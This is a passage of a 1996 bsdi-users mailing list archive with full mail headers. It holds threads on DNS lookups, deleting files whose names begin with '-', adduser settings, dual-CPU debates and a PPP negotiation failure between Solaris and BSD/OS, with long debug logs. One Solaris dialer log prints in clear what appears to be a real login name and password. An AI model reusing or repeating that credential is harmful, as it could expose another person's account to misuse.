that really is my last name. From VM Sun Dec 1 18:03:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["472" "Thu" "28" "November" "1996" "22:48:29" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "22" "Re: Simple DNS Q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA05162 for ; Fri, 29 Nov 1996 10:55:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA01150 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:54:50 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Simple DNS Q Date: Thu, 28 Nov 1996 22:48:29 -1000 (HST) On Thu, 28 Nov 1996, Jeff Campbell wrote: > > Here is a simple one that I can't seem to get my mind around > tonight. To long fighting with apache I think... > > When I go to do an nslookup, it can't seem to resolve the local > host. It looks like this: > > ch1:/usr/local/bin nslookup > Default Server: ch1.hfxcable.com > Address: 0.0.0.0 That's fine! try doing sh1.hfxcable.com at the '>' prompt and it'll show up... 8) -- Aloha from Paradise, Sherwood From VM Sun Dec 1 18:03:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["428" "Fri" "29" "November" "1996" "06:56:24" "-0500" "Chip Ach" "chip@harvard.net" nil "22" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07084 for ; Fri, 29 Nov 1996 12:14:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA00951 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:12:48 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chip Ach Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 06:56:24 -0500 (EST) rm -- -whatever -- generally stops options from being processed. My FAVORITE way to do this is to use dired (control-x d) in emacs. Go to the file, hit d next to it, and then x to do away with the file. -Chip On Fri, 29 Nov 1996, Brian Backer wrote: > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > > From VM Sun Dec 1 18:03:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["172" "Sat" "30" "November" "1996" "11:03:47" "-0600" "Donald Dahlman" "druid@eoe-magical.org" nil "6" "adduser -D" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07355 for ; Fri, 29 Nov 1996 12:16:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA01327 for bsdi-users-outgoing; Fri, 29 Nov 1996 12:11:55 -0500 (EST) Message-ID: <32A068F3.3E60@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: adduser -D Date: Sat, 30 Nov 1996 11:03:47 -0600 Trying to modify default adduser to make all new user directories r-x------ on creation. have tried command adduser -D -m500 but it does not seem to work. Donald Dahlman From VM Sun Dec 1 18:03:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["220" "Fri" "29" "November" "1996" "10:59:28" "-0600" "M. Dickens" "mdickens@tetranet.net" nil "15" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07357 for ; Fri, 29 Nov 1996 12:16:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA01291 for bsdi-users-outgoing; Fri, 29 Nov 1996 11:59:27 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M. Dickens" Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 10:59:28 -0600 (CST) rm ./-filename usually works for me. Michael > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > > From VM Sun Dec 1 18:03:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["459" "Fri" "29" "November" "1996" "09:43:56" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "18" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07377 for ; Fri, 29 Nov 1996 12:22:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA00943 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:11:23 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 09:43:56 -0500 (EST) > Anyone every had any luck getting rid of files with names starting like > > -* Sure. I paste from man rm Users often wonder how to deal with filenames that begin with ``-'', given that arguments that begin with ``-'' are usually treated as flags. The special flag ``--'' tells programs not to interpret following argu- ments as flags. Thus, to delete a file named ``-foo'', type: rm -- -foo Tsk, tsk, tsk, Brian. You didn't rtfm. {8-\ - rh From VM Sun Dec 1 18:03:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["673" "Fri" "29" "November" "1996" "12:37:24" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "22" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07390 for ; Fri, 29 Nov 1996 12:23:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA01386 for bsdi-users-outgoing; Fri, 29 Nov 1996 12:21:15 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: <1.5.4.32.19961128021246.006aacb0@main.cyberzone-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Douglas Sand cc: Brian Backer , bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Fri, 29 Nov 1996 12:37:24 -0500 (EST) On Wed, 27 Nov 1996, Douglas Sand wrote: > Thanks for the response, however, sorry if I was not clear, these accounts > are ppp dial-in accounts without a shell, therefore the "who" will NOT > reflect their being logged in! Even if their shell is PPP, 'who' will show them. Or maybe you are using terminal servers? If so, see if your terminal server runs a finger daemon. If it does, you can use cron to run a script every few minutes to finger the terminal server and get a userlist. Pass the list through 'sort', and you'll find any duplicate logins as adjacent entries. Kick them *both* off, log the event, and send email to yourself and to the account. From VM Sun Dec 1 18:03:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["172" "Sat" "30" "November" "1996" "11:14:50" "-0600" "Donald Dahlman" "druid@eoe-magical.org" nil "6" "adduser -D" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07394 for ; Fri, 29 Nov 1996 12:24:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA01394 for bsdi-users-outgoing; Fri, 29 Nov 1996 12:21:49 -0500 (EST) Message-ID: <32A06B8A.1CEF@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: adduser -D Date: Sat, 30 Nov 1996 11:14:50 -0600 Trying to modify default adduser to make all new user directories r-x------ on creation. have tried command adduser -D -m500 but it does not seem to work. Donald Dahlman From VM Sun Dec 1 18:03:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["704" "Thu" "28" "November" "1996" "22:45:05" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "25" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07398 for ; Fri, 29 Nov 1996 12:25:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA01033 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:26:03 -0500 (EST) In-Reply-To: <199611282114.QAA11303@home.pcrealm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: BSDI Mail cc: "bsdi-users@BSDI.COM" , Raymond Richmond Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 1996 22:45:05 -1000 (HST) On Thu, 28 Nov 1996, BSDI Mail wrote: > I think using a pentium 150 or 166 would greatly speed you up, or even a dual pentium 100... Not yet... BSDi doesn't support SMP...so the dual would be a waste at this time... ;), but a PPro 200 is definitely nice! > > > On Thu, 28 Nov 1996 11:35:09 -0700 (MST), Raymond Richmond wrote: > > > Our BSDI server which we use presently use for mail services has > >a passwd file containing approximately 8000 uid's. Presently we are > >experiencing a lot of situations where our automatic adduser scripts, > >password changing scripts, etc. are all encountering "passwd file busy, > >resource temp unavailable." [snipped] -- Aloha from Paradise, Sherwood From VM Sun Dec 1 18:03:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["830" "Fri" "29" "November" "1996" "10:07:48" "EST" "BSD information" "mirage!bsd@uucp-1.csn.net" nil "20" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07668 for ; Fri, 29 Nov 1996 12:31:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA00925 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:04:21 -0500 (EST) Message-Id: <9611291507.AA16429@mirage> In-Reply-To: <199611290314.VAA13411@frshaire.wiz.com>; from "Marc Wiz" at Nov 28, 96 9:14 pm X-Mailer: ELM [version 2.3 PL0] Precedence: bulk From: mirage!bsd@uucp-1.csn.net (BSD information) Sender: owner-bsdi-users@lists.gateway.com To: marc@frshaire.wiz.com (Marc Wiz) Cc: bsdi-users@BSDI.COM (BSDI users list) Subject: Re: BSDI/APC Back-UPS Date: Fri, 29 Nov 96 10:07:48 EST > > I just purchased an APC Back-UPS Model 600 only to find out that there is > no software available from APC to interface with my BSDI on my server. In > addition, I cannot find a cable to connect the baackup unit with the > server. Should I send the unit back or is there a way around this > problem? Does anyone know of another battery backkup that comes with > software to interface with BSDI? Does anyone know of a cable? Has anyone > written software to connect the APC unit with their BSDI server? I need > advice ASAP because we are just starting to sign up customers. > Try BEST, they have a CD-ROM w/ Unix source code. It does not compile "out of the box", I called and was told that they could/would show me how to install it on BSD/OS, but I have not gotten back around to it. YMMV, Std. disclamer. Al From VM Sun Dec 1 18:03:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["791" "Fri" "29" "November" "1996" "12:54:09" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "31" "Re: Simple DNS Q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA08209 for ; Fri, 29 Nov 1996 12:47:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA01447 for bsdi-users-outgoing; Fri, 29 Nov 1996 12:38:08 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Simple DNS Q Date: Fri, 29 Nov 1996 12:54:09 -0500 (EST) On Thu, 28 Nov 1996, Jeff Campbell wrote: > > Here is a simple one that I can't seem to get my mind around > tonight. To long fighting with apache I think... > > When I go to do an nslookup, it can't seem to resolve the local > host. It looks like this: > > ch1:/usr/local/bin nslookup > Default Server: ch1.hfxcable.com > Address: 0.0.0.0 > > > exit That's normal if you are running nslookup on your primary nameserver. Try running nslookup at the console of another host inside your domain. Also, check /etc/resolv.conf and it's manpage for more details. And of course, you have a copy of 'DNS & BIND', right? > Which file do I need to edit, and what should it look like, to > have ch1.hfxcable.com resolve to it's true address? I advise you not to 'fix' it. Bill From VM Sun Dec 1 18:03:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["172" "Fri" "29" "November" "1996" "12:57:13" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "16" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA08214 for ; Fri, 29 Nov 1996 12:48:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA01482 for bsdi-users-outgoing; Fri, 29 Nov 1996 12:41:07 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 12:57:13 -0500 (EST) On Fri, 29 Nov 1996, Brian Backer wrote: > > Anyone every had any luck getting rid of files with names > starting like > > -* 'rm ./-*' will do it. Be careful. From VM Sun Dec 1 18:03:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2370" "Fri" "29" "November" "1996" "12:38:14" "-0500" "marxx@saturn.superlink.net" "marxx@saturn.superlink.net" nil "60" "Re: Dual CPU (Was: Improving performance of processes that use passwd.)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA08218 for ; Fri, 29 Nov 1996 12:48:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA01457 for bsdi-users-outgoing; Fri, 29 Nov 1996 12:39:11 -0500 (EST) In-Reply-To: <199611290409.OAA10634@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Marxx Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: internex@pcrealm.net, bsdi-users Subject: Re: Dual CPU (Was: Improving performance of processes that use passwd.) Date: Fri, 29 Nov 1996 12:38:14 -0500 (EST) On Fri, 29 Nov 1996, David Newall wrote: There is definitely a benefit involved in the mentioned instances, provided there is a decent user-level thread implementation, and a scheduler can efficiently handle or allocate time quantums in respects to I/O wait. Charles > Greg Wiktor - System Administrator wrote: > > On Fri, 29 Nov 1996 14:01:38 +1030 (CST), David Newall wrote: > > >What are you doing, Greg, that you think will become faster with dual cpu's? > > > > Depends, mathematical applications are faster > > I didn't ask what sort of things benefit, I asked what you really are doing > that benefits from extra CPU's. Now it's true that mathematical applications > *can* be faster, but if you don't write your application cleverly, or if you > don't use a clever compiler, or (and this is most likely) if your application > isn't the right class of application, you won't get to see those extra CPUs. > > The way I see Unix being used is mostly as a network device; serving files, > or routing to the internet, or shoving mail around. That sort of thing. > There's hardly any scope for benefit there. > > Look at your cpu usage. Is your CPU 100% busy? Mine is 90% idle. Will an > additional idle CPU really make the system faster? > > > > It would be better if BSDI had SMP support > > There are plenty of things that BSDI could do which would be of more general > benefit than SMP. Like removing every call to panic(). Like making I/O > more efficient. Like supporting more devices. Like network file locks. > Like support for Windows. The list is huge and, for most people, SMP should > be right down the bottom. > > Why is there this lemming-like demand for SMP? I suggest most people who > demand SMP don't know what benefit they will receive. I suggest most people > reason that two CPU's obviously must be twice as fast as one. Sorry folks, > it ain't necessarily so. > > > Mind you when you're compiling a squillion programs, and when you've got > a parallel make, those extra CPU's do help. > > > Slight change of topic: I predict that these dual CPU boards will gain value > from games. I predict that game writers will use them to render 3D views in > parallel. I wonder why the manufacturers of these boards think that they > are making them? > > > [Standard disclaimer: These are my private opinions] > From VM Sun Dec 1 18:03:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["13318" "Fri" "29" "November" "1996" "20:42:33" "+0200" "Mihails Nikitins" "nikitins@infoservriga.lv" nil "302" "Solaris 2.4. -> BSD/OS 2.0: PPP problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA09835 for ; Fri, 29 Nov 1996 13:51:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA01668 for bsdi-users-outgoing; Fri, 29 Nov 1996 13:39:57 -0500 (EST) Message-ID: <329F2E99.4F94@infoservriga.lv> Organization: Infoserv-Riga Ltd. X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Mihails Nikitins Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Solaris 2.4. -> BSD/OS 2.0: PPP problems Date: Fri, 29 Nov 1996 20:42:33 +0200 Hello net, I'm trying to establish PPP connection between Solaris 2.4 and BSD/OS 2.0.1. SUN calls BSD/OS, then PPP negotiation failes. Debugging shows the following things. On Link Control Protocol level connetction can be established without any problems. On Network Control Protocol level (IPCP) something strange happens... SUN and BSD exchange Configure-Requests. BSD likes all the options and replies with Configure-Ack. SUN receives this aknowledgement. It parses correctly both the request and the aknowledgement but does not reply. According to RFC 1661, upon reception of a Configure-Request, an appropriate reply MUST be sent. After timer expiration BSD sends another Configure-Request and so on... Van Jacobson compression is off (there were some misunderstandings). Line speed is 14400 bps. Restart timer is set to 3 s. I tried to set it 10 s on the BSD side but nothing happened. The only difference is that the SUN counter (=3) expires first and SUN sends the next Configure-Request. What could it be, gentlemen? Thank you in advance for any help. See below for debugging session. Regards, Mihails Nikitins ***************************** Details *********************************** Dialog Diagram BSD Sun sends Configure-Request ---> receives Configure-Request receives Configure-Request <-- sends Configure-Request sends Configure-Ack --> receives Configure-Ack After 3 seconds timer expires sends Configure-Request... ************************* BSD debugging session ************************* Nov 28 17:56:22 bam kernel: ppp0: init PPP link Nov 28 17:56:22 bam kernel: ppp0: got CD -- send Conf-Req Nov 28 17:56:22 bam kernel: ppp_cp_up: LCP Nov 28 17:56:22 bam kernel: state <- CP_REQSENT Nov 28 17:56:22 bam kernel: LCP_CREQ -- {MRU: 1500} {ACCM: 0} {MAGIC: 0x39bc312b} {PFC} {ACFC} id=27 Nov 28 17:56:22 bam kernel: PPPIOCIPWBOS f058e90c: waiting Nov 28 17:56:22 bam kernel: ppp0: RCV LCP2 Configure-Ack id=27 len=24 -- init restart cntr Nov 28 17:56:22 bam kernel: state <- CP_ACKRCVD Nov 28 17:56:25 bam kernel: ppp0: RCV LCP1 Configure-Request id=17 len=18 {MRU: len=4 mtu=1500} {MAGIC: len=6 m=0xde629708} {PFC: len=2} {ACFC: len=2} -> send Conf-Ack (len=22) Nov 28 17:56:25 bam kernel: state <- CP_OPENED Nov 28 17:56:25 bam kernel: ppp_cp_up: IPCP Nov 28 17:56:25 bam kernel: state <- CP_REQSENT Nov 28 17:56:25 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:25 bam kernel: ppp0: RCV IPCP1 Configure-Request id=18 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:25 bam kernel: state <- CP_ACKSENT Nov 28 17:56:28 bam kernel: ppp0: IPCP[rc=10] TO+ - send Conf-Req Nov 28 17:56:28 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:28 bam kernel: ppp0: RCV IPCP1 Configure-Request id=19 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:28 bam kernel: state <- CP_ACKSENT Nov 28 17:56:31 bam kernel: ppp0: IPCP[rc=9] TO+ - send Conf-Req Nov 28 17:56:31 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:31 bam kernel: ppp0: RCV IPCP1 Configure-Request id=20 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:31 bam kernel: state <- CP_ACKSENT Nov 28 17:56:34 bam kernel: ppp0: IPCP[rc=8] TO+ - send Conf-Req Nov 28 17:56:34 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:34 bam kernel: ppp0: RCV IPCP1 Configure-Request id=21 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:34 bam kernel: state <- CP_ACKSENT Nov 28 17:56:37 bam kernel: ppp0: IPCP[rc=7] TO+ - send Conf-Req Nov 28 17:56:37 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:37 bam kernel: ppp0: RCV IPCP1 Configure-Request id=22 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:37 bam kernel: state <- CP_ACKSENT Nov 28 17:56:40 bam kernel: ppp0: IPCP[rc=6] TO+ - send Conf-Req Nov 28 17:56:40 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:40 bam kernel: ppp0: RCV IPCP1 Configure-Request id=23 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:40 bam kernel: state <- CP_ACKSENT Nov 28 17:56:43 bam kernel: ppp0: IPCP[rc=5] TO+ - send Conf-Req Nov 28 17:56:43 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:43 bam kernel: ppp0: RCV IPCP1 Configure-Request id=24 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:43 bam kernel: state <- CP_ACKSENT Nov 28 17:56:46 bam kernel: ppp0: IPCP[rc=4] TO+ - send Conf-Req Nov 28 17:56:46 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:46 bam kernel: ppp0: RCV IPCP1 Configure-Request id=25 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:46 bam kernel: state <- CP_ACKSENT Nov 28 17:56:49 bam kernel: ppp0: IPCP[rc=3] TO+ - send Conf-Req Nov 28 17:56:49 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:49 bam kernel: ppp0: RCV IPCP1 Configure-Request id=26 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:49 bam kernel: state <- CP_ACKSENT Nov 28 17:56:52 bam kernel: ppp0: IPCP[rc=2] TO+ - send Conf-Req Nov 28 17:56:52 bam kernel: ppp0: IPCP_CREQ -- {CPROT: 2d} {ADDR: 159.148.187.1} Nov 28 17:56:52 bam kernel: ppp0: RCV IPCP1 Configure-Request id=27 len=10 {ADDR: len=6 addr=159.148.187.199} -> send Conf-Ack (len=14) Nov 28 17:56:52 bam kernel: state <- CP_ACKSENT Nov 28 17:56:55 bam kernel: ppp0: IPCP[rc=1] TO- Drop Connection Nov 28 17:56:55 bam kernel: state <- CP_STOPPED Nov 28 17:56:55 bam kernel: ppp_cp_close: LCP Nov 28 17:56:55 bam kernel: ppp_cp_down: IPCP Nov 28 17:56:55 bam kernel: state <- CP_STARTING Nov 28 17:56:55 bam kernel: state <- CP_CLOSING Nov 28 17:56:55 bam kernel: Send Term-Req Nov 28 17:56:55 bam kernel: IPBOS (failed) f058e90c Nov 28 17:56:55 bam kernel: PPPIOCIPWBOS f058e90c: failed Nov 28 17:56:55 bam kernel: ppp0: CD lost Nov 28 17:56:55 bam kernel: ppp_cp_down: LCP Nov 28 17:56:55 bam kernel: state <- CP_INITIAL Nov 28 17:56:55 bam kernel: ppp0: shutdown PPP link Nov 28 17:56:55 bam kernel: ppp_cp_close: LCP Nov 28 17:56:55 bam kernel: state <- CP_INITIAL ********************* SUN debugging session ********************************* (Sorry for long lines) 17:42:14 Link manager (522) started 11/28/96 17:42:14 parse_config_file: Successful configuration 17:42:50 process_ipd_msg: ipdptp0 needs connection conn(P-bam) Trying entry from '/etc/uucp/Systems' - device type ACU. Device Type ACU wanted Trying device entry 'cua/a' from '/etc/uucp/Devices'. processdev: calling setdevcfg(ppp, ACU) fd_mklock: ok fixline(12, 19200) gdial(usrv32-my) called Trying caller script 'usrv32-my' from '/etc/uucp/Dialers'. expect: ("") got it expect: ("") got it sendthem (DELAY APAUSE TX4S2=255S12=255^M) expect: (OK^M) ATX4S2=255S12=255^M^M^JOK^Mgot it sendthem (ATDP295^M) expect: (CONNECT) ^JATDP295^M^M^JCONNECTgot it STTY crtscts,-parenb,cs8 expect: ("") got it sendthem (^M^J^M) getto ret 12 expect: (gin:) ^M^M^J^M^M^J^M^M^JBSDI BSD/OS 2.0.1 (bam.infoservriga.lv) (tty02)^M^M^J^M^M^Jlogin:got it sendthem (Pigk^M) expect: (word:) Pigk^M^M^JPassword:got it sendthem (LK30id^M) call cleanup(0) 17:43:50 000045 ipdptp0 SEND PPP ASYNC 23 Octets LCP Config-Req ID=0f LEN=18 MRU=1500 MAG#=de629708 ProtFCOMP AddrCCOMP 17:43:50 000046 ipdptp0 RECEIVE {Unescaped characters: 0a 0d } PPP ASYNC 539 Octets {BAD FCS} NB (AP) {Unrecognized protocol: d 0a 4c 61 73 74 20 6c 6f 67 69 6e 3a 20 54 68 75 20 4e 6f 76 ..... } 17:43:50 000047 ipdptp0 RECEIVE PPP ASYNC 29 Octets NB LCP Config-Req ID=1b LEN=24 MRU=1500 ACCM=00000000 MAG#=39bc312b ProtFCOMP AddrCCOMP 17:43:50 000048 ipdptp0 SEND PPP ASYNC 23 Octets NB LCP Config-Req ID=10 LEN=18 MRU=1500 MAG#=de629708 ProtFCOMP AddrCCOMP 17:43:50 000049 ipdptp0 SEND PPP ASYNC 29 Octets NB LCP Config-ACK ID=1b LEN=24 MRU=1500 ACCM=00000000 MAG#=39bc312b ProtFCOMP AddrCCOMP 17:43:53 000050 ipdptp0 SEND PPP ASYNC 23 Octets LCP Config-Req ID=11 LEN=18 MRU=1500 MAG#=de629708 ProtFCOMP AddrCCOMP 17:43:53 000051 ipdptp0 RECEIVE PPP ASYNC 23 Octets NB LCP Config-ACK ID=11 LEN=18 MRU=1500 MAG#=de629708 ProtFCOMP AddrCCOMP 17:43:53 000052 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=2d LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:43:53 000053 ipdptp0 SEND PPP ASYNC 15 Octets NB (A) IP_NCP Config-Req ID=12 LEN=10 IPADDR=159.148.187.199 17:43:53 000054 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 12 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=12 LEN=10 IPADDR=159.148.187.199 17:43:56 000055 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets IP_NCP Config-Req ID=2e LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:43:56 000056 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=13 LEN=10 IPADDR=159.148.187.199 17:43:56 000057 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 13 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=13 LEN=10 IPADDR=159.148.187.199 17:43:59 000058 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } 